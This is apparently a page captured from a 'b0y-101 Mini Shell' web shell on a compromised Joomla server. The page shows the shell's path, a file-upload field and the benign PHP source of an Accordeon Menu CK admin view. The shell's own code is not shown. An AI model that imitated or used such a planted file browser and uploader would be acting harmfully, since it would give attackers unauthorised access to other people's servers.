b0y-101 Mini Shell


Current Path : E:/www/risk/administrator/components/com_accordeonmenuck/views/modules/
File Upload :
Current File : E:/www/risk/administrator/components/com_accordeonmenuck/views/modules/view.html.php

<?php
// No direct access
defined('_JEXEC') or die;

use Accordeonmenuck\CKView;
use Accordeonmenuck\CKFof;
use Accordeonmenuck\CKText;
use Accordeonmenuck\Helper;

class AccordeonmenuckViewModules extends CKView {

	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Display the view
	 */
	public function display($tpl = null) {
		$user = JFactory::getUser();
		$authorised = ($user->authorise('core.edit', 'com_accordeonmenuck') || (count($user->getAuthorisedCategories('com_accordeonmenuck', 'core.edit'))));

		if ($authorised !== true)
		{
			throw new Exception(JText::_('JERROR_ALERTNOAUTHOR'), 403);
			return false;
		}

		Helper::checkDbIntegrity();
		
		$this->items = $this->get('Items');
		$this->toolbar = $this->getToolbar();

		parent::display($tpl);
	}

	private function getToolbar() {
		JToolBarHelper::title('Accordeon Menu CK - ' . CKText::_('CK_MODULES_LIST'));

		// JToolBarHelper::custom('module.edit', 'edit', 'edit', 'CK_EDIT');

		if (CKFof::userCan('core.admin')) {
			 JToolBarHelper::preferences('com_accordeonmenuck');
		}
	}
}

Copyright © 2019 by b0y-101